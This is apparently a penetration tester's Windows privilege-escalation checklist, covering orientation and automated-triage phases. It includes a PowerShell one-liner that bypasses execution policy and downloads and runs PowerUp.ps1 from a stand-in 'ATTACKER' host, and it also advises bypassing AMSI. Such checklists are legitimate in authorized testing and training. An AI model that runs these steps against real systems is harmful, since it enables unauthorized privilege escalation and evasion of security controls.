Working document — tick as you go. Commands are abbreviated; full detail is in the matching section of the notes. Stop at the first successful path. Token privileges and service misconfigurations are faster and safer than kernel exploits. Kernel exploits last. CVE numbers are hints, not gospel — verify the version against the current NVD before committing to a CVE-specific path.
Target context — fill before starting:
Field Value Hostname OS / build (systeminfo) Architecture Current user / groups (whoami /all) Integrity level (Medium / High) Token privileges (whoami /priv) Domain-joined? AV / EDR present? WMIC available? (24H2+ removes it) Notes Phase 0 — Orient (60 seconds) whoami /all — user, groups, SID, integrity level whoami /priv — the single highest-value command; an enabled SeImpersonate, SeBackup, or SeDebug is often an instant win[reference:1] whoami /groups | findstr /i "Mandatory" — Medium + Administrators = UAC is the only barrier hostname; systeminfo — OS build, patches, hotfixes net config workstation — domain membership ipconfig /all; route print; arp -a — network position echo %USERNAME% — confirm the current context Record findings above, then proceed Phase 1 — Automated Triage (run once, verify by hand) winPEASx64.exe quiet — broad enumeration; focus on red + yellow findings powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUp.ps1'); Invoke-AllChecks"[reference:2] SharpUp.exe audit — C# equivalent; separates service binary and service DACL findings Seatbelt.exe -group=all — host survey Verify every hit by hand — automated tools produce false positives AMSI note: if PowerShell-based tools are blocked, bypass AMSI first or use the C#/binary alternatives (SharpUp, Seatbelt, WinPEAS).